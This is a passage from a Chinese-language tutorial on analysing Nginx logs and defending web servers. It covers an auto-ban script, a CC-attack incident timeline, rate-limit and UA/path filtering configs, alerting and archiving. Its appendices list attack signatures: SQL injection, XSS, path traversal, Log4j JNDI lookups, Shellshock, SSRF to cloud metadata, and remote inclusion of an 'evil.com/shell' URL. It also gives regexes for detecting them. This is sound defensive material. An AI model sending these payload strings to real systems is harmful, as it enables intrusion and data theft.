if ! sudo nft list set inet filter "$NFT_SET" &>/dev/null; then
sudo nft add table inet filter 2>/dev/null || true
sudo nft add set inet filter "$NFT_SET" '{ type ipv4_addr; flags timeout; }' 2>/dev/null || true
sudo nft add chain inet filter input '{ type filter hook input priority 0; policy accept; }' 2>/dev/null || true
sudo nft add rule inet filter input ip saddr @"$NFT_SET" drop 2>/dev/null || true
echo "$(date) [初始化] 创建 nftables 集合 $NFT_SET" >> "$BAN_LOG"
fi
# 检查 IP 是否在白名单中
is_whitelisted() {
local ip="$1"
for net in $WHITELIST; do
if [[ "$ip" == "$net" ]]; then
return 0
fi
# 简单的子网匹配(只处理 /8 /12 /16)
local prefix="${net%/*}"
local mask="${net#*/}"
if [[ "$mask" == "8" ]] && [[ "$ip" == "${prefix%%.*}."* ]]; then
return 0
fi
done
return 1
}
# ========== 高频 IP 检测 ==========
grep "$CURRENT_MINUTE" "$LOG_FILE" 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | while read count ip; do
if [[ "$count" -gt "$FREQ_THRESHOLD" ]]; then
if is_whitelisted "$ip"; then
echo "$(date) [跳过] $ip ($count 次/分钟) 在白名单中" >> "$BAN_LOG"
continue
fi
# 检查是否已经被封禁
if sudo nft list set inet filter "$NFT_SET" | grep -q "$ip"; then
continue
fi
# 封禁
sudo nft add element inet filter "$NFT_SET" "{ $ip timeout ${BAN_DURATION}s }"
echo "$(date) [封禁] $ip ($count 次/分钟) 封禁 ${BAN_DURATION}s" >> "$BAN_LOG"
fi
done
# ========== 恶意请求检测 ==========
grep "$CURRENT_MINUTE" "$LOG_FILE" 2>/dev/null | grep -iE '(union.*select|<script|%3cscript|\.\./|\.env|wp-login|phpinfo|\.git/|jndi|classLoader)' | awk '{print $1}' | sort -u | while read ip; do
if is_whitelisted "$ip"; then
continue
fi
if sudo nft list set inet filter "$NFT_SET" | grep -q "$ip"; then
continue
fi
# 恶意请求直接封禁更长时间
sudo nft add element inet filter "$NFT_SET" "{ $ip timeout $((BAN_DURATION * 24))s }"
echo "$(date) [封禁] $ip (恶意请求) 封禁 $((BAN_DURATION * 24))s" >> "$BAN_LOG"
done
添加到 crontab:
# 每分钟执行一次自动封禁脚本
sudo crontab -e
# 添加以下行:
# */1 * * * * /opt/scripts/auto_ban.sh >> /var/log/auto_ban_cron.log 2>&1
# 查看当前被封禁的 IP
sudo nft list set inet filter auto_banned
# 手动解封某个 IP
sudo nft delete element inet filter auto_banned "{ 103.xx.xx.92 }"
3.4 案例:CC 攻击完整识别和应急处理时间线
这是我实际经历过的一次 CC 攻击的完整处理过程,时间线精确到分钟。
业务背景:电商平台,日常 QPS 约 150,4 台 Nginx 前端 + 8 台 Java 后端,前面有阿里云 SLB。
时间线:
2026-03-08 14:32 — 监控告警:prod-web01 CPU 78%(阈值 70%)
2026-03-08 14:33 — SSH 连上 prod-web01,top 查看 Nginx worker 占用高
# 14:33 第一步:确认当前连接数
ss -s
# 输出:TCP: 31247 (estab 28103, closed 2144, orphaned 89, timewait 1001)
# 正常情况 ESTABLISHED 在 2000-3000,现在 28000+
# 14:34 第二步:快速看一下最近的日志
tail -100 /var/log/nginx/access.log
# 发现大量来自不同 IP 但 UA 完全相同的请求,全部访问 /api/product/search
# 14:35 第三步:统计过去 5 分钟的高频 IP
awk -v start="08/Mar/2026:14:30" '$4 >= "["start {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 输出:
# 4832 103.152.xx.92
# 4217 103.152.xx.115
# 3965 103.152.xx.78
# 3841 45.33.xx.201
# 3529 45.33.xx.189
# ... (共发现 47 个高频 IP)
# 14:36 第四步:确认攻击目标——全部打向同一个接口
awk -v start="08/Mar/2026:14:30" '$4 >= "["start {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5
# 输出:
# 38274 /api/product/search?keyword=test&page=1
# 3421 /api/product/search?keyword=abc&page=2
# 2196 /api/product/search?keyword=xyz&page=1
# 847 /
# 312 /api/user/info
# 全打向搜索接口,而且搜索关键词都是无意义的测试词
# 14:37 第五步:确认 IP 来源
for ip in 103.152.xx.92 103.152.xx.115 45.33.xx.201; do
echo -n "$ip -> "
geoiplookup "$ip"
done
# 全部来自越南和俄罗斯的机房 IP
# 14:38 第六步:紧急封禁
# 先封 IP 段——这些 IP 都在 103.152.xx.0/24 和 45.33.xx.0/24 两个段
sudo iptables -I INPUT -s 103.152.0.0/16 -j DROP
sudo iptables -I INPUT -s 45.33.0.0/16 -j DROP
# 14:39 第七步:验证封禁效果
# 等 30 秒后查看连接数
ss -s
# TCP: 8247 (estab 5103, closed 2144, orphaned 89, timewait 911)
# 连接数从 28000 降到 5000,效果明显
# 继续观察是否有遗漏
tail -f /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c
# 发现还有几个漏网的 IP,逐个封禁
# 14:42 第八步:配置 limit_req 限流(防止下次被打)
# 在 nginx.conf 的 http 块中添加
# limit_req_zone $binary_remote_addr zone=search_limit:10m rate=10r/s;
# 在搜索接口的 location 中添加
# limit_req zone=search_limit burst=20 nodelay;
sudo nginx -t && sudo nginx -s reload
# 14:43 第九步:验证业务恢复
curl -o /dev/null -s -w "HTTP Code: %{http_code}, Time: %{time_total}s\n" https://example.com/api/product/search?keyword=test
# HTTP Code: 200, Time: 0.234s
# 响应正常
2026-03-08 14:43 — 业务恢复正常,总处理时间 11 分钟
2026-03-08 15:00 — 配置 fail2ban 自动封禁规则
2026-03-08 16:00 — 联系阿里云开启 DDoS 高防
2026-03-08 17:00 — 完成事故报告
事后复盘的改进措施:
- 在 SLB 层配置了 CC 防护规则,单 IP 每秒限 20 次
- 搜索接口加了
limit_req 限流,单 IP 每秒 10 次
- 部署了 fail2ban,自动封禁高频 IP
- 在 Grafana 里添加了 QPS 和连接数的告警面板,设置了梯度告警:QPS 超过日常均值 3 倍就预警,超过 5 倍就告警
- 搜索接口增加了缓存层,对相同搜索词的查询做 30 秒缓存,就算攻击打穿 Nginx 限流也打不到数据库
四、最佳实践和注意事项
4.1 日志轮转配置
Nginx 日志不做轮转的话,文件会越来越大。我见过一台跑了半年没管的服务器,access.log 单文件 47GB,用 awk 分析一次要跑 20 分钟。
Ubuntu 24.04 默认带 logrotate,但 Nginx 的轮转规则需要手动配置或调整:
# /etc/logrotate.d/nginx
/var/log/nginx/*.log {
daily # 每天轮转
missingok # 日志文件不存在也不报错
rotate 90 # 保留 90 天(等保要求至少 180 天,但本地存 90 天+远端归档)
compress # 用 gzip 压缩旧日志
delaycompress # 延迟一次再压缩(当天的不压缩,方便实时分析)
notifempty # 空文件不轮转
create 0640 nginx adm # 新日志文件的权限
dateext # 用日期作为轮转文件后缀
dateformat -%Y%m%d # 日期格式:access.log-20260313.gz
sharedscripts # 多个日志文件只执行一次脚本
postrotate
# 轮转后给 Nginx 发信号重新打开日志文件
# 用 USR1 信号而不是 reload,不会中断服务
if [ -f /run/nginx.pid ]; then
kill -USR1 $(cat /run/nginx.pid)
fi
endscript
}
验证轮转配置:
# 测试配置是否正确(不实际执行)
sudo logrotate -d /etc/logrotate.d/nginx
# 手动触发一次轮转(调试用)
sudo logrotate -f /etc/logrotate.d/nginx
# 查看轮转后的文件
ls -lh /var/log/nginx/
# access.log
# access.log-20260312.gz
# access.log-20260311.gz
# ...
关于等保合规的日志保留要求:
- 等保二级:6 个月
- 等保三级:6 个月(180 天)
本地存 90 天的压缩日志,超过 90 天的通过 rsync 或 Loki 归档到远端存储。access.log 压缩率大约 10:1,一天 500MB 的日志压缩后只有 50MB,90 天也就 4.5GB。
4.2 ELK vs Loki 日志方案对比
日志只存在本地服务器上是不够的。多台服务器的日志需要集中管理才能做跨机器关联分析。目前主流的两个方案是 ELK(Elasticsearch + Logstash + Kibana)和 Grafana Loki。
| 对比项 |
ELK Stack |
Grafana Loki |
| 索引方式 |
全文索引(倒排索引) |
只索引标签,不索引日志内容 |
| 存储成本 |
高——索引本身就要占用原始数据 1-2 倍的空间 |
低——存储成本约为 ELK 的 1/10 |
| 查询能力 |
强——支持任意字段的全文搜索和聚合 |
中——标签过滤 + 正则匹配,不支持全文搜索 |
| 查询速度 |
快(已索引的字段) |
标签过滤快,正则扫描在大数据量下慢 |
| 部署复杂度 |
高——ES 集群至少 3 节点,JVM 调优 |
低——单机就能跑 |
| 资源占用 |
高——ES 至少 4G 内存起步 |
低——2G 内存可以跑小规模 |
| 生态集成 |
成熟——Beats、APM、SIEM |
Grafana 生态——Promtail/Alloy 采集 |
| 适合场景 |
需要复杂搜索、合规审计、安全分析(SIEM) |
日常运维监控、故障排查、小团队 |
| 运维成本 |
高——分片管理、索引生命周期、JVM GC 调优 |
低——基本不需要太多运维 |
| 学习曲线 |
高——KQL/Lucene 查询语法 |
低——LogQL 类似 PromQL,Prometheus 用户上手快 |
我的建议:
- 团队小于 10 人、服务器小于 50 台:Loki,省心省钱
- 有安全合规要求、需要 SIEM 能力:ELK,可参考 ELK Stack 的运维部署实践
- 已经有 Prometheus + Grafana 体系:Loki,天然集成
- 日志量超过每天 100GB:ELK 在查询性能上更有优势
4.3 Nginx 防护配置
日志分析是事后的,Nginx 本身也有一些配置可以在请求到达后端之前就做过滤和限制。
4.3.1 limit_req 请求速率限制
# 在 http 块定义限流区域
# 按客户端 IP 限流,10m 内存可以存约 16 万个 IP 的状态
limit_req_zone $binary_remote_addr zone=general:10m rate=30r/s;
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=3r/s;
# 自定义限流返回的状态码和页面
limit_req_status 429;
# 通用限流——所有请求每秒最多 30 个,允许突发 50 个
server {
location / {
limit_req zone=general burst=50 nodelay;
# ...
}
# API 接口限流——每秒最多 10 个
location /api/ {
limit_req zone=api burst=20 nodelay;
proxy_pass http://backend;
}
# 登录接口严格限流——每秒最多 3 个,防止暴力破解
location /api/login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://backend;
}
}
参数解释:
rate=10r/s:平均每秒允许 10 个请求
burst=20:允许突发 20 个请求排队
nodelay:突发请求不排队等待,直接处理或拒绝。不加 nodelay 的话超出 rate 的请求会排队等待
4.3.2 limit_conn 连接数限制
# 在 http 块定义
limit_conn_zone $binary_remote_addr zone=conn_per_ip:10m;
limit_conn_zone $server_name zone=conn_per_server:10m;
server {
# 每个 IP 最多 50 个并发连接
limit_conn conn_per_ip 50;
# 每个虚拟主机最多 10000 个并发连接
limit_conn conn_per_server 10000;
# 限速返回 429
limit_conn_status 429;
# ...
}
4.3.3 geo 模块 IP 黑名单
# 在 http 块中配置 geo 黑名单
geo $blocked_ip {
default 0;
# 手动封禁的 IP 和 IP 段
103.152.0.0/16 1;
45.33.0.0/16 1;
185.220.100.0/24 1; # Tor 出口节点段
# 也可以引用外部文件
include /etc/nginx/conf.d/blocked_ips.conf;
}
server {
# 如果 IP 在黑名单中,直接返回 444(Nginx 特殊状态码,直接关闭连接不返回任何内容)
if ($blocked_ip) {
return 444;
}
# ...
}
黑名单文件格式:
# /etc/nginx/conf.d/blocked_ips.conf
# 每行一个 IP 或 CIDR,后面跟值
103.152.100.0/24 1;
45.33.200.0/24 1;
# 可以用脚本自动从 fail2ban 同步
4.3.4 map 模块 UA 过滤
# 在 http 块中配置恶意 UA 过滤
map $http_user_agent $bad_ua {
default 0;
# 已知扫描工具
~*sqlmap 1;
~*nikto 1;
~*nmap 1;
~*masscan 1;
~*dirbuster 1;
~*gobuster 1;
~*wfuzz 1;
~*wpscan 1;
~*acunetix 1;
~*nessus 1;
~*openvas 1;
~*burpsuite 1;
~*zaproxy 1;
# 常见恶意爬虫
~*scrapy 1;
~*python-requests 1;
~*libwww-perl 1;
# 空 UA
"" 1;
"-" 1;
}
server {
if ($bad_ua) {
return 444;
}
# ...
}
注意 python-requests 的问题:如果你的内部系统(监控、健康检查、自动化脚本)用了 Python requests 库,会被误杀。解决方法有两个:
- 内部系统自定义 UA:
requests.get(url, headers={'User-Agent': 'internal-monitor/1.0'})
- 在
map 里加上 IP 白名单的判断——但 map 不支持多条件组合,需要用 set + if 来实现
# 更精细的 UA 过滤——允许内网 IP 使用 python-requests
set $block_ua 0;
if ($http_user_agent ~* "(sqlmap|nikto|nmap|masscan|dirbuster|gobuster)") {
set $block_ua 1;
}
# 内网 IP 不过滤
if ($remote_addr ~ "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)") {
set $block_ua 0;
}
if ($block_ua) {
return 444;
}
4.3.5 阻止敏感路径访问
server {
# 阻止访问隐藏文件(.env, .git, .htaccess 等)
location ~ /\. {
deny all;
access_log off;
log_not_found off;
return 444;
}
# 阻止访问备份文件
location ~* \.(bak|old|orig|save|swp|swo|sql|tar\.gz|zip)$ {
deny all;
return 444;
}
# 阻止访问 WordPress 相关路径(如果你不是 WordPress 站点)
location ~* ^/(wp-admin|wp-login\.php|wp-content|xmlrpc\.php) {
deny all;
return 444;
}
# 阻止访问常见探测路径
location ~* ^/(phpinfo|phpmyadmin|pma|adminer|console|manager|actuator) {
deny all;
return 444;
}
}
五、故障排查和监控
5.1 日志相关故障排查
5.1.1 日志文件不写入
问题:Nginx 还在跑,但 access.log 文件大小不再增长。
# 检查日志文件描述符
# 找到 Nginx worker 进程的 PID
pgrep -f "nginx: worker"
# 查看该进程打开的文件描述符
ls -la /proc/$(pgrep -f "nginx: worker" | head -1)/fd/ | grep access
# 常见原因 1:logrotate 后没发 USR1 信号
# 现象:旧文件已经被 mv 走了,但 Nginx 还在往已删除的文件写入
sudo kill -USR1 $(cat /run/nginx.pid)
# 常见原因 2:磁盘满了
df -h /var/log
# 如果确认满了,先清理一些旧日志腾出空间
sudo find /var/log/nginx -name "*.gz" -mtime +30 -delete
# 常见原因 3:权限问题
ls -la /var/log/nginx/
# 确保 Nginx worker 进程用户有写权限
sudo chown nginx:adm /var/log/nginx/
sudo chmod 755 /var/log/nginx/
5.1.2 日志格式错误
问题:JSON 格式日志出现格式错误,导致日志收集系统解析失败。
# 批量检查 JSON 格式合法性
cat /var/log/nginx/access.json.log | while IFS= read -r line; do
if ! echo "$line" | jq . >/dev/null 2>&1; then
echo "JSON 解析失败: $line"
fi
done | head -5
# 常见原因:请求 URI 或 UA 中包含特殊字符但没加 escape=json
# 解决方法:确保 log_format 定义时加了 escape=json
# log_format json_log escape=json '{ ... }';
5.1.3 日志量暴增导致磁盘告警
# 查看当前日志大小和增长速度
du -sh /var/log/nginx/*.log
# 查看哪些 URL 贡献了最多日志量(找到日志大头)
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10
# 如果是健康检查或监控探针在刷日志,在 Nginx 配置中关掉这些路径的日志
# location /health {
# access_log off;
# return 200 "OK";
# }
# 临时措施:压缩当前日志并重新打开
cd /var/log/nginx
sudo mv access.log access.log.$(date +%Y%m%d%H%M%S)
sudo kill -USR1 $(cat /run/nginx.pid)
sudo gzip access.log.* &
5.1.4 fail2ban 误封导致正常用户无法访问
# 查看所有被封禁的 IP
sudo fail2ban-client status nginx-cc
sudo fail2ban-client status nginx-malicious
# 查看某个 IP 被封禁的原因——查 fail2ban 日志
grep "103.xx.xx.92" /var/log/fail2ban.log
# 解封 IP
sudo fail2ban-client set nginx-cc unbanip 103.xx.xx.92
# 添加永久白名单——在 jail 配置中
# ignoreip = 127.0.0.1/8 ::1 10.0.0.0/8 办公室出口IP
# 调整阈值——如果误封太多,说明阈值太严格
# maxretry = 200 # 调高阈值
# findtime = 60 # 缩短统计窗口
5.2 性能监控
5.2.1 Nginx 状态监控
先开启 stub_status 模块:
# 在 server 块或单独的 server 中配置
server {
listen 127.0.0.1:8080;
server_name _;
location /nginx_status {
stub_status on;
# 只允许本地和监控服务器访问
allow 127.0.0.1;
allow 10.0.0.0/8;
deny all;
}
}
查看状态:
curl http://127.0.0.1:8080/nginx_status
# Active connections: 291
# server accepts handled requests
# 16630948 16630948 31070465
# Reading: 6 Writing: 179 Waiting: 106
各字段含义:
| 指标 |
含义 |
正常范围 |
| Active connections |
当前活跃连接数 |
取决于业务,关注趋势变化 |
| accepts |
总共接受的连接数 |
持续增长 |
| handled |
总共处理的连接数 |
应等于 accepts,不等说明达到了 worker_connections 上限 |
| requests |
总共处理的请求数 |
持续增长 |
| Reading |
正在读取请求头的连接数 |
通常很小 |
| Writing |
正在返回响应的连接数 |
与并发量相关 |
| Waiting |
等待新请求的 keepalive 连接数 |
keepalive 连接池 |
5.2.2 基于日志的监控指标
用 Prometheus + mtail 或者 nginx-prometheus-exporter 从日志中提取指标:
# 安装 nginx-prometheus-exporter
sudo apt install -y prometheus-nginx-exporter
# 启动(指向 Nginx 的 stub_status 地址)
prometheus-nginx-exporter -nginx.scrape-uri=http://127.0.0.1:8080/nginx_status
如果需要从日志中提取更细粒度的指标(状态码分布、响应时间百分位等),可以用 mtail:
# /etc/mtail/nginx.mtail
# mtail 程序——从 Nginx 日志中提取 Prometheus 指标
counter nginx_requests_total by status, method
histogram nginx_request_duration_seconds by uri buckets 0.01, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10
/^/ {
# 匹配 main_ext 格式
/(?P<remote_addr>\S+) - \S+ \[.*\] "(?P<method>\S+) (?P<uri>\S+) \S+" (?P<status>\d+) \d+ ".*" ".*" (?P<request_time>[\d.]+)/ {
nginx_requests_total[$status][$method]++
nginx_request_duration_seconds[$uri] = $request_time
}
}
5.2.3 关键告警规则
如果你用 Prometheus + Alertmanager,下面是一些针对 Nginx 日志分析场景的告警规则:
# /etc/prometheus/rules/nginx_alerts.yml
groups:
- name: nginx_log_alerts
rules:
# 5xx 错误率超过 5%
- alert: NginxHigh5xxRate
expr: |
sum(rate(nginx_requests_total{status=~"5.."}[5m]))
/
sum(rate(nginx_requests_total[5m]))
> 0.05
for: 2m
labels:
severity: critical
annotations:
summary: "Nginx 5xx 错误率过高"
description: "5xx 错误率 {{ $value | humanizePercentage }},超过 5% 阈值"
# QPS 异常飙升(超过历史同期 3 倍)
- alert: NginxQPSSpike
expr: |
sum(rate(nginx_requests_total[5m]))
> 3 * sum(rate(nginx_requests_total[5m] offset 1d))
for: 3m
labels:
severity: warning
annotations:
summary: "Nginx QPS 异常飙升"
description: "当前 QPS {{ $value | humanize }},是昨天同期的 3 倍以上"
# P99 响应时间超过 5 秒
- alert: NginxSlowResponse
expr: |
histogram_quantile(0.99, sum(rate(nginx_request_duration_seconds_bucket[5m])) by (le))
> 5
for: 5m
labels:
severity: warning
annotations:
summary: "Nginx P99 响应时间过高"
description: "P99 响应时间 {{ $value | humanizeDuration }},超过 5s 阈值"
# 活跃连接数过高
- alert: NginxHighConnections
expr: nginx_connections_active > 10000
for: 5m
labels:
severity: warning
annotations:
summary: "Nginx 活跃连接数过高"
description: "当前活跃连接数 {{ $value }},超过 10000 阈值"
5.3 日志备份与归档
5.3.1 自动归档脚本
#!/bin/bash
# nginx_log_archive.sh
# 功能:将超过指定天数的 Nginx 日志归档到远端存储
# 用法:每天凌晨 3 点通过 crontab 执行
# 0 3 * * * /opt/scripts/nginx_log_archive.sh
set -euo pipefail
LOG_DIR="/var/log/nginx"
ARCHIVE_DIR="/data/archive/nginx-logs"
REMOTE_SERVER="archive@10.0.1.100"
REMOTE_DIR="/data/nginx-archive/$(hostname)"
KEEP_LOCAL_DAYS=30 # 本地保留 30 天
KEEP_REMOTE_DAYS=180 # 远端保留 180 天(等保要求)
# 创建本地归档目录
mkdir -p "$ARCHIVE_DIR"
# 压缩未压缩的旧日志
find "$LOG_DIR" -name "*.log-*" ! -name "*.gz" -mtime +1 -exec gzip {} \;
# 移动超过 7 天的压缩日志到归档目录
find "$LOG_DIR" -name "*.gz" -mtime +7 -exec mv {} "$ARCHIVE_DIR/" \;
# 同步到远端服务器
rsync -avz --progress "$ARCHIVE_DIR/" "${REMOTE_SERVER}:${REMOTE_DIR}/" \
--timeout=300 \
--bwlimit=50000 # 限制带宽 50MB/s,避免影响业务
# 清理本地超过 30 天的归档
find "$ARCHIVE_DIR" -name "*.gz" -mtime +"$KEEP_LOCAL_DAYS" -delete
# 清理远端超过 180 天的归档(通过 SSH 执行)
ssh "$REMOTE_SERVER" "find ${REMOTE_DIR} -name '*.gz' -mtime +${KEEP_REMOTE_DAYS} -delete"
# 记录执行日志
echo "$(date '+%Y-%m-%d %H:%M:%S') 归档完成: 本地 $(du -sh "$ARCHIVE_DIR" | awk '{print $1}'), 已同步到 ${REMOTE_SERVER}" >> /var/log/nginx_archive.log
5.3.2 从归档日志中查询历史数据
# 查询 30 天前的日志——需要先解压
zgrep "103.xx.xx.92" /data/archive/nginx-logs/access.log-20260211.gz
# 统计某个历史日期的请求量
zcat /data/archive/nginx-logs/access.log-20260211.gz | wc -l
# 批量查询多天的数据
for f in /data/archive/nginx-logs/access.log-202602*.gz; do
count=$(zgrep -c "api/login" "$f" 2>/dev/null || echo 0)
echo "$f: $count 次登录请求"
done
六、总结
6.1 技术要点回顾
- 日志格式选择:生产环境建议至少用
main_ext 格式(加上 request_time 和 upstream_response_time),如果有日志收集系统就用 JSON 格式。escape=json 别忘了加
- 命令行分析:
awk + sort + uniq 三件套能应对 90% 的分析场景,熟练到肌肉记忆。大文件用 awk,JSON 格式用 jq,可视化用 GoAccess
- 恶意请求识别:SQL 注入、XSS、路径遍历、扫描器探测、漏洞利用这五类是最常见的,学会看日志里的关键特征。关注 404 异常集中、状态码分布突变、单 IP 高频请求
- 自动防护:fail2ban 是最成熟的自动封禁方案,配合 Nginx 自身的
limit_req、limit_conn、geo 黑名单、map UA 过滤,构成多层防线
- 实时监控:从
tail -f 的简易方案到 Promtail + Loki 的完整方案,根据团队规模选择。告警规则要覆盖 5xx 错误率、QPS 异常、慢请求
- 日志管理:logrotate 轮转 + rsync 远端归档,本地 30 天 + 远端 180 天,满足等保要求
6.2 日常巡检清单
每天花 5 分钟看一遍这些指标,很多问题能在早期发现:
# 快速日巡脚本——5 分钟搞定
echo "=== 今日请求量 ==="
wc -l /var/log/nginx/access.log
echo "=== 状态码分布 ==="
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
echo "=== Top5 IP ==="
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5
echo "=== 5xx 错误 ==="
awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5
echo "=== 恶意请求数 ==="
grep -ciE '(union.*select|<script|\.\./|\.env|wp-admin|jndi)' /var/log/nginx/access.log || echo 0
echo "=== 磁盘空间 ==="
df -h /var/log | tail -1
6.3 进阶学习方向
-
WAF(Web 应用防火墙):ModSecurity + OWASP CRS 规则集是开源方案的最佳选择。它能在 Nginx 层面实现更全面的攻击检测和拦截,覆盖 OWASP Top 10 的所有攻击类型。不过 ModSecurity 3.x 的性能开销大约增加 5-15% 的延迟,需要根据业务场景权衡
-
机器学习异常检测:用统计方法或简单的 ML 模型分析访问模式,自动识别异常行为。比如基于时间序列的 QPS 异常检测、基于聚类的 IP 行为画像。Elastic SIEM 和 Grafana ML 都提供了开箱即用的异常检测能力
-
威胁情报集成:将日志中的恶意 IP 与威胁情报库(AbuseIPDB、OTX、GreyNoise 等)对接,自动识别已知恶意 IP。这比单纯看行为模式更准确。相关的 安全攻防技术 也值得持续关注。
6.4 参考资料
附录
A. 恶意请求特征速查表
| 攻击类型 |
日志中的关键特征 |
URL 编码形式 |
危险等级 |
| SQL 注入 - OR 型 |
' OR '1'='1 |
%27%20OR%20%271%27=%271 |
高 |
| SQL 注入 - UNION 型 |
UNION SELECT |
UNION%20SELECT |
高 |
| SQL 注入 - 时间盲注 |
AND SLEEP(5) |
AND%20SLEEP%285%29 |
高 |
| SQL 注入 - 报错注入 |
extractvalue( , updatexml( |
extractvalue%28 |
高 |
| SQL 注入 - 堆叠查询 |
; DROP TABLE |
%3B%20DROP%20TABLE |
严重 |
| XSS - script 标签 |
<script>alert(1)</script> |
%3Cscript%3Ealert(1)%3C/script%3E |
高 |
| XSS - 事件触发 |
onerror=alert(1) |
onerror%3Dalert%281%29 |
高 |
| XSS - JS 协议 |
javascript:alert(1) |
javascript%3Aalert%281%29 |
高 |
| 路径遍历 |
../../etc/passwd |
%2e%2e%2f%2e%2e%2fetc/passwd |
高 |
| 路径遍历 - 双重编码 |
%252e%252e/ |
已经是编码形式 |
高 |
| 文件包含 - 远程 |
?page=http://evil.com/shell |
直接出现在 URL 中 |
严重 |
| 文件包含 - PHP 协议 |
php://filter/convert.base64-encode |
php%3A//filter/ |
高 |
| SSRF |
?url=http://169.254.169.254 |
直接出现在 URL 中 |
严重 |
| SSRF - 内网探测 |
?url=http://127.0.0.1:6379 |
直接出现在 URL 中 |
高 |
| Log4j (CVE-2021-44228) |
${jndi:ldap:// |
%24%7Bjndi%3Aldap%3A// |
严重 |
| Log4j - 混淆绕过 |
${${lower:j}ndi: |
各种变体 |
严重 |
| Spring4Shell |
class.module.classLoader |
直接出现在参数中 |
严重 |
| ThinkPHP RCE |
invokefunction&function=call_user_func_array |
直接出现在 URL 中 |
严重 |
| Shellshock |
() { :; }; |
%28%29%20%7B%20%3A%3B%20%7D%3B |
严重 |
| .env 泄露 |
GET /.env |
直接出现在 URL 中 |
高 |
| Git 泄露 |
GET /.git/config |
直接出现在 URL 中 |
高 |
| 备份文件泄露 |
GET /backup.sql |
直接出现在 URL 中 |
高 |
| WordPress 探测 |
GET /wp-admin/ |
直接出现在 URL 中 |
中 |
| phpinfo 探测 |
GET /phpinfo.php |
直接出现在 URL 中 |
中 |
| 管理后台探测 |
GET /admin/ , /manager/html |
直接出现在 URL 中 |
中 |
B. awk 命令速查集
# ===================== IP 相关 =====================
# 统计 IP 请求量 Top20
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20
# 统计某 IP 的请求频率(每分钟)
awk -v ip="TARGET_IP" '$1 == ip {print substr($4,2,17)}' access.log | sort | uniq -c
# 统计某 IP 访问的所有 URL
awk -v ip="TARGET_IP" '$1 == ip {print $7}' access.log | sort | uniq -c | sort -rn
# 查找每分钟请求超过 N 次的 IP
awk '{ip=$1; min=substr($4,2,17); key=ip" "min; c[key]++} END {for(k in c) if(c[k]>100) print c[k], k}' access.log | sort -rn
# ===================== URL 相关 =====================
# 统计 URL 请求量 Top20
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20
# 统计 URL(去掉查询参数)请求量
awk '{url=$7; gsub(/\?.*/, "", url); print url}' access.log | sort | uniq -c | sort -rn | head -20
# 统计某个 URL 的来源 IP
awk '$7 == "/api/login" {print $1}' access.log | sort | uniq -c | sort -rn
# ===================== 状态码相关 =====================
# 状态码总体分布
awk '{print $9}' access.log | sort | uniq -c | sort -rn
# 某个状态码的请求详情
awk '$9 == 404 {print $1, $7}' access.log | sort | uniq -c | sort -rn | head -20
# 5xx 错误按时间趋势
awk '$9 >= 500 {print substr($4,2,14)}' access.log | sort | uniq -c
# ===================== UA 相关 =====================
# UA 统计 Top20
awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn | head -20
# 空 UA 的 IP
awk -F'"' '$6 == "-" || $6 == "" {print}' access.log | awk '{print $1}' | sort | uniq -c | sort -rn
# 特定 UA 的请求
awk -F'"' '/sqlmap|nikto|nmap/ {print $0}' access.log
# ===================== 时间相关 =====================
# QPS(每秒请求量)
awk '{print substr($4,2,20)}' access.log | sort | uniq -c | sort -rn | head -10
# QPM(每分钟请求量)
awk '{print substr($4,2,17)}' access.log | sort | uniq -c | sort -rn | head -10
# 某个时间段的请求
awk '$4 >= "[13/Mar/2026:14:00" && $4 <= "[13/Mar/2026:15:00"' access.log
# ===================== 响应时间相关(需要 main_ext 格式) =====================
# 响应时间 Top20
awk '{print $(NF-3), $7}' access.log | sort -rn | head -20
# 平均响应时间
awk '{sum+=$(NF-3); n++} END {print sum/n}' access.log
# 各 URL 平均响应时间
awk '{u=$7; gsub(/\?.*/, "", u); s[u]+=$(NF-3); c[u]++} END {for(u in s) printf "%.3f %d %s\n", s[u]/c[u], c[u], u}' access.log | sort -rn | head -20
# ===================== 流量相关 =====================
# 总流量(字节)
awk '{sum+=$10} END {printf "%.2f MB\n", sum/1024/1024}' access.log
# 流量 Top URL
awk '{s[$7]+=$10} END {for(u in s) printf "%.2f MB %s\n", s[u]/1024/1024, u}' access.log | sort -rn | head -20
C. 正则表达式参考
以下正则用于 grep -E 或 awk 中匹配恶意请求:
# ===================== SQL 注入检测正则 =====================
# 综合 SQL 注入正则(URL 编码形式)
SQL_REGEX="(union(\+|%20|/\*.*\*/)(all(\+|%20))?select|or(\+|%20)1(\+|%20)?=(\+|%20)?1|and(\+|%20)1(\+|%20)?=(\+|%20)?1|sleep\(|benchmark\(|extractvalue\(|updatexml\(|load_file\(|into(\+|%20)(out|dump)file|information_schema|%27|%22|--(\+|%20)|%23)"
# 使用示例
grep -iE "$SQL_REGEX" /var/log/nginx/access.log
# ===================== XSS 检测正则 =====================
XSS_REGEX="(<|%3c)(script|img|svg|iframe|body|input|button|div|marquee|object|embed|form|a)(\s|%20|>|%3e|/|%2f)|javascript(\:|%3a)|on(error|load|click|mouseover|focus|blur|submit|change|keydown|keyup)(\s|%20)?="
grep -iE "$XSS_REGEX" /var/log/nginx/access.log
# ===================== 路径遍历检测正则 =====================
TRAVERSAL_REGEX="(\.\.(/|%2f|\\\\|%5c)|%2e%2e(%2f|%5c)|%252e%252e(%252f|%255c))"
grep -iE "$TRAVERSAL_REGEX" /var/log/nginx/access.log
# ===================== 扫描器探测正则 =====================
